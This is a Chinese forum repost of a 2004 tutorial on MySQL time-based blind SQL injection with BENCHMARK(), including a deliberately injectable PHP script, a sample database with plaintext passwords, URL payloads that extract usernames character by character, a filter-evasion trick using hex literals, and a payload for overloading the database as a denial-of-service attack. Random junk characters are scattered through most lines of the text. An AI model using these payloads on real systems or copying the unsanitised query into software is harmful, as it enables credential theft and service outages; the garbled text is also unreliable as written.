中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用 . x5 m7 ?5 h% k+ ]" {5 W
本文作者:SuperHei
/ N( [* M0 V* m( j文章性质:原创4 I1 w6 z% Q3 y. o9 E
发布日期:2005-01-02
, e* R2 c' ~5 O9 ^1 y2 R完成日期:2004-07-09
) |2 ?! s" D' R3 ^" M, |第一部$ g' J; ^, J) P
, j1 R" e9 B2 l. r4 G
利用时间推延进行注射---BENCHMARK函数在注射中的利用 : E; }3 e; W7 |/ l- s5 V, Y# n

# j4 @0 [. V, Q- w" i$ d一.前言/思路, k/ H( u# N2 d/ J3 P% j

, V! C! u' l6 K# P# N& G' P/ b  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。2 e- `0 D( h: r: J( f; S- b
0 T, M+ Y. ~" H1 H
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。; _' y' v6 [' I, ]8 k

) e7 `( `1 c" ]* y) f二.关于BENCHMARK函数
# S" _: s4 A+ S  ]8 A+ @( O8 i
. ?5 g2 N4 d' {2 A5 n5 M  在MySQL参考手册里可以看到如下描叙:
8 g/ z) z7 E* \4 W% \8 B5 T. J( }" O! Q. G
% l# d& j  q  x: m6 |
--------------------------------------------------------------------------------
/ b! q" V3 i7 h0 `: `+ d3 c( E; g  {/ ]9 F. T; ~5 @6 T% z3 m
BENCHMARK(count,expr) ( o* O' Q8 p, h  W+ f1 a* e3 V* J- N
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 : A% ^9 v0 u+ x6 t& K! `8 ^9 C
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
0 {: r- ?# h8 L! ?/ Z+----------------------------------------------+
9 c' V! l" ]- M+ @| BENCHMARK(1000000,encode("hello","goodbye")) | 1 e1 ~/ s. S4 W' \" ?
+----------------------------------------------+
% m# X# s# ]( m' ^8 V$ B3 v8 z| 0 | , j% b# `' x; f, h' y
+----------------------------------------------+ + ?- }3 I" E+ Z: Z5 r5 A! r+ |
1 row in set (4.74 sec)
- R% Z8 n8 ?% X3 C. N# u9 w
5 H* c! Y' @; r报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
, [) g$ O. L* i2 k8 S1 g' M* |! G8 \2 h

8 b7 T7 N! _- ~2 W--------------------------------------------------------------------------------5 l) x! c; Q1 \  H$ H) Q
- g4 L. D3 K. K- A* @& W
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
9 d+ \/ n6 p) r& h0 n1 d5 ]
& e* v+ {, x  x% M; p7 vmysql> select md5( 'test' ); 9 j& g6 u" \5 p, O; H2 Z. g
+----------------------------------+ ' J( ]- r4 t: K: L+ g
| md5( 'test' ) |
. |- `) S- c  y: p1 }8 ~/ a7 w4 s+----------------------------------+ ( V% Z& [- {& M5 ]1 \5 v
| 098f6bcd4621d373cade4e832627b4f6 |
' l1 Q8 |, h- B0 X* T) U% x+----------------------------------+ 4 w) Y7 s+ P; z5 e
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
% }0 |3 b0 |0 g+ X* W
! Y7 r" I+ |  S* u# imysql> select benchmark( 500000, md5( 'test' ) ); : ?' x$ F' ]3 _  `' G4 I4 L1 e6 X: o
+------------------------------------+
; w: Z" {; t/ ~1 H( w| benchmark( 500000, md5( 'test' ) ) | 4 F' U9 s" ^3 u6 I' ~* Q3 j1 w
+------------------------------------+
$ A1 |' {# |- b# X$ I0 g| 0 | - D3 E, G; h% K6 ^7 x- d
+------------------------------------+
0 c) I/ g5 ^2 b8 A1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
$ X2 X% H* t7 |2 l0 g4 P
2 W# }4 ?7 T6 t: D$ Q9 T# {  K2 X( a+ ]  v
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 * Y  B& e% ]( {+ D  f( S
% X; E1 W* ~& K+ K
三.具体例子
! G9 ?2 K( D" s% Y" E# H* o1 t( g0 f/ W6 a, j2 Z( ~) x; H
  首先我们看个简单的php代码:6 e, i7 l7 G+ F5 n3 W8 C

: L# O5 ]) E) ?! m2 {< ?php
* \5 k$ M/ B# u! _2 H  ~4 J! q* ~  [$servername = "localhost"; 5 R7 l# I( \5 ]& n+ T. `
$dbusername = "root";
9 m8 m% M; N* c* P/ J7 f8 z  l: y1 U$dbpassword = "";
8 O4 x; N* U" X2 r" h$dbname = "injection"; 7 N% v6 U% ^+ J! }1 s

- q- \' k& q# _( c! E6 f9 Qmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ( l6 ^( A$ J9 b) h  i

3 Y% w! j/ w' G$sql = "SELECT * FROM article WHERE articleid=$id";
  A1 P% o+ `% o+ l6 g# _: ?% i. Q$result = mysql_db_query($dbname,$sql);
' U; B% T6 g( ?5 M& h$row = mysql_fetch_array($result); & [3 X. N+ H: u1 F
, Z0 `1 w. [$ L8 L- x# w% ~* i
if (!$row)
# }* N* Y$ _  L7 I: S/ c' O{ 6 s, S- v  Q7 X8 N6 M, N$ c$ U
exit;   f1 V. K: z$ U: W$ t/ B$ Z
}
+ [; e1 t* J* j?>, E, j# g8 ]6 u; t  a4 Z
2 U/ U8 a3 I) S' P0 @8 {7 Z- Q
3 T: w+ y4 I9 N& e+ n
  数据库injection结构和内容如下:0 N! E0 Q3 Z5 b! Q* _9 M

% h2 Y" ]5 h* W0 {. T# 数据库 : `injection`
3 A% E! \$ X+ M8 G# / l$ S2 a0 [- g4 `  N% u7 A+ P

+ W/ j* x+ x+ b! k$ L+ g# --------------------------------------------------------
  S( B( `) c" n) a$ G  ^) ?4 @/ c, A$ \$ Y+ @
# & m$ a9 |+ A5 E6 L8 E) L
# 表的结构 `article`
) p. y. A( j' P; Y2 J/ C: C# # v1 _" r$ L% p! r& J. B' Y! C

" O6 i; m' D: A4 e) k+ Q7 \" hCREATE TABLE `article` (
. Y2 K% p# g9 q9 B/ U4 K`articleid` int(11) NOT NULL auto_increment,
  k9 C1 ^4 W  I/ c`title` varchar(100) NOT NULL default '',
6 e9 X$ z8 I2 H) j* P`content` text NOT NULL,
6 q. `, t4 t! L5 p! j* A( @PRIMARY KEY (`articleid`)
% P) ^4 _& i5 ?7 w" K2 h) TYPE=MyISAM AUTO_INCREMENT=3 ;
4 p6 Z# a4 G0 U5 Q) ?  D. J9 R  k1 s& ]
6 e  j$ a6 d7 n9 c+ B4 u/ F# : ~- g( R9 V' Q
# 导出表中的数据 `article` & j, D6 ?8 y* c1 x: p
# % \9 R- ]1 E" W- e" d5 l+ u' f! o5 ~

; o. i6 s2 M2 ?1 I3 Y0 ?3 aINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); * o% ~* Z' \7 ?# I$ ]3 T* p
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
7 D. k1 T/ g9 I  ~, U; S3 v5 H( f. h% ?' A+ X
# -------------------------------------------------------- 8 t4 E% U* h$ C7 T2 ]' j

! p( x) A' I, a7 @# O# ; _) B$ Q( K3 u9 W3 I1 K3 z
# 表的结构 `user`
- z0 Q* b3 Q$ j: t% X. `# ! r7 N1 d6 ^) _6 f

1 [. F" s) h& ?( |+ [3 HCREATE TABLE `user` ( 8 r$ m- f. f* K
`userid` int(11) NOT NULL auto_increment, 7 F5 p7 v& `- F1 f- b
`username` varchar(20) NOT NULL default '',   h  n3 a* z' f: Z
`password` varchar(20) NOT NULL default '',
6 c) I; k' v( n- y# uPRIMARY KEY (`userid`) ( W) u: G( L  U  m  z5 L
) TYPE=MyISAM AUTO_INCREMENT=3 ; % Z0 o1 l/ v# D) B

: b" H+ o$ w3 X7 M) S+ H( \# " d! C: U4 v& W  V( A$ Y
# 导出表中的数据 `user` : {( U& j  H9 v* D& W6 @% P. t
#
" |' x+ w- W. k+ ^. a3 t
2 [" P! ~2 H! B) VINSERT INTO `user` VALUES (1, 'angel', 'mypass'); & C; p. g5 g+ n
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');2 W7 X/ p4 M: [; t( l
/ C6 I' T9 d( ~( @! o+ H( ?
, x3 v4 m3 d6 s# G
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
5 O2 r1 L& M, O& R
6 u; a# i! k9 E! b5 q8 G& Oid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
0 S+ F. o5 q1 p! A & G# y0 Z+ f( j3 a4 c4 f

' z3 @, p6 j. g- K1 d) S1 M  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:* V" k: S# s$ n" S% ?6 {

1 Z" p3 R! S- i- F6 thttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*5 {/ V  Y! d! H: t  y' f

* f& X) z# y, o: P* ]5 ~9 {( `( F& b  ^6 W1 a
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
" K3 X1 W6 Y; A0 _) Y
1 P" k9 r" J0 @$ Q6 c3 e: n1 K  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
3 l, a) s# k% @9 l; A: q
, S5 P: B) [' b2 }第二部
1 K& u1 w+ B8 y- S( G1 _5 l
1 Z4 b2 {" {) {5 x2 `利用BENCHMARK函数进行ddos攻击
# J7 e# u0 b& k7 \; {# O, q! a! C  F6 V$ p: H1 ~- Q2 Z6 b
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
) m0 F; W5 t- Z! Q5 A% o$ e8 E. M, K0 c3 v6 k
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))% C4 T4 P& t2 G7 s% J5 s& H

: i+ B4 z' N/ ~
; N) q) ?4 j/ R小结9 j/ s4 j% {; C% b
9 e, ?! z* X# y% e% B8 d
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
+ U) d- h* `; H
/ b0 f- p7 |7 i0 y; W  $ h0 S- _  [' q; m4 W( k





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2